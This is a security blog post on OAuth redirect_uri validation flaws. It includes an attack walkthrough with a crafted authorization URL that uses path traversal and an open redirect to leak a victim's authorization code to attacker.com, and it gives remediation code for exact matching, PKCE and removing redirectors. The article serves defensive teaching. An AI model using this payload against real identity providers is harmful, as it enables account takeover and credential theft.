>samit_hota
Back to research
ETHICAL HACKING

Theft by Parameter: Exploiting Loose OAuth Redirect Validation

Samit Hota·
#oauth#web-security#authentication#remediation

Most OAuth 2.0 implementations don’t fail because the core cryptography is broken; they fail because developers treat the redirect_uri parameter like a friendly suggestion rather than a strict security boundary.

When an Authorization Server relies on prefix matching, domain wildcards, or regex path traversal to validate callback URLs, it creates an implicit trust relationship with every path, open redirector, and XSS vector on the target origin. If an attacker can force the authorization server to send a valid authorization code to a location under their control, the target account is effectively compromised.

The Flaw: Why “Flexible” OAuth Allowlists Are Broken

The OAuth 2.0 specification (RFC 6749) explicitly mandates that authorization servers must validate the incoming redirect_uri against pre-registered URIs. However, to accommodate dynamic environments—such as multi-tenant subdomains or localization paths—identity providers often implement loose pattern matching.

Common validation flaws include:

  • Substring / Domain Confusion: Matching https://app.example.com against https://app.example.com.attacker.com or https://attacker.com/app.example.com.
  • Path Traversal Permissiveness: Allowing https://app.example.com/oauth/callback/../../attacker because the string starts with the registered prefix https://app.example.com/oauth/callback.
  • Wildcard Subdomains: Trusting https://*.example.com/callback, where any compromised or user-generated subdomain (e.g., via S3 bucket takeover) can receive sensitive credentials.

When loose validation is active, the Authorization Server issues a 302 Found response containing the authorization code in the query string (?code=AUTH_CODE) to whatever destination satisfies the weak check.

Tracing the Leak: The Attack Flow

To understand the mechanics, consider a standard OAuth 2.0 Authorization Code Grant where the legitimate client application registers https://client.example.com/callback.

Victim Browser                 Authorization Server               Attacker Infrastructure
      |                                  |                                   |
      | 1. Initiates Auth (Manipulated) |                                   |
      |--------------------------------->|                                   |
      |  redirect_uri=.../callback/..    |                                   |
      |                                  |                                   |
      | 2. Validates prefix & issues code|                                   |
      |<---------------------------------|                                   |
      |  302 Redirect to Attacker Origin |                                   |
      |                                  |                                   |
      | 3. Browser follows redirect with ?code=...                           |
      |-------------------------------------------------------------------->|
  1. Crafting the Vector: The attacker identifies an open redirect or a directory on client.example.com where query parameters or Referer headers leak to an external domain (e.g., https://client.example.com/outbound?url=https://attacker.com).
  2. Inducing the Victim: The attacker tricks an authenticated user into clicking an authorization request link where the redirect_uri is altered: https://auth.example.com/authorize?response_type=code&client_id=12345&redirect_uri=https://client.example.com/callback/../../outbound?url=https://attacker.com&state=xyz
  3. Validation Failure: The Authorization Server checks if https://client.example.com/callback/../../outbound starts with https://client.example.com/callback. It passes the check due to loose prefix matching.
  4. Code Exfiltration: The Authorization Server redirects the victim’s browser to the manipulated path: 302 Location: https://client.example.com/callback/../../outbound?url=https://attacker.com&code=STOLEN_AUTH_CODE&state=xyz
  5. Account Takeover: The page at /outbound forwards the request (or leaks the Referer header) to attacker.com, delivering the code. The attacker immediately exchanges STOLEN_AUTH_CODE at the provider’s /token endpoint to acquire an access token for the victim’s account.

Reproducing the Issue locally

To test URI matching logic safely, set up a minimal mock authorization handler using standard Python tools to observe how loose string matching fails compared to strict parsing.

Create a test script test_match.py to compare matching logic:

from urllib.parse import urlparse

REGISTERED_URI = "https://app.example.com/oauth/callback"

def insecure_prefix_match(input_uri):
    # DANGEROUS: Simple prefix check allows path traversal
    return input_uri.startswith(REGISTERED_URI)

def secure_exact_match(input_uri):
    # CORRECT: String-exact match requirement
    return input_uri == REGISTERED_URI

# Test Payload with Path Traversal
payload_uri = "https://app.example.com/oauth/callback/../../external"

print(f"Insecure Match Result: {insecure_prefix_match(payload_uri)}") # Evaluates to True
print(f"Secure Match Result:   {secure_exact_match(payload_uri)}")   # Evaluates to False

Run the validation check:

python3 test_match.py

Observe that insecure_prefix_match returns True for the traversal attempt, demonstrating how vulnerable servers accept unauthorized destination paths.

Securing the Flow: Enforcing Exact Matching

Fixing this vulnerability requires removing all non-exact string comparison logic from the authorization server’s client validation engine.

1. Require Exact String Comparison

The Authorization Server must perform a strict, byte-for-byte string comparison between the incoming redirect_uri and the pre-registered list. Do not parse URLs prior to comparison or strip trailing slashes automatically.

In Node.js/Express authorization logic, enforce strict equality:

// Secure authorization request handler
app.get('/authorize', (req, res) => {
  const { client_id, redirect_uri } = req.query;
  const client = getRegisteredClient(client_id);

  // Exact match validation against array of explicitly approved URIs
  if (!client.allowedRedirectUris.includes(redirect_uri)) {
    return res.status(400).send('Invalid redirect_uri parameter.');
  }

  // Proceed with authorization logic
});

2. Implement PKCE (Proof Key for Code Exchange)

While exact matching prevents the parameter leakage vector, implementing PKCE (RFC 7636) for all flows—including confidential clients—provides defense-in-depth. With PKCE, even if an authorization code is intercepted via a leaked URI, the attacker cannot exchange it at the /token endpoint without the dynamically generated code_verifier.

3. Remove Open Redirectors

Ensure that client applications host no open redirect endpoints on the same origin or path structure as the registered OAuth callbacks. Scan endpoints regularly to verify that query parameters like next=, redirect=, or url= do not issue unvalidated HTTP 302 responses.

Want a second set of eyes on your security posture?

Let's talk about where your real exposure is.

Book an advisory call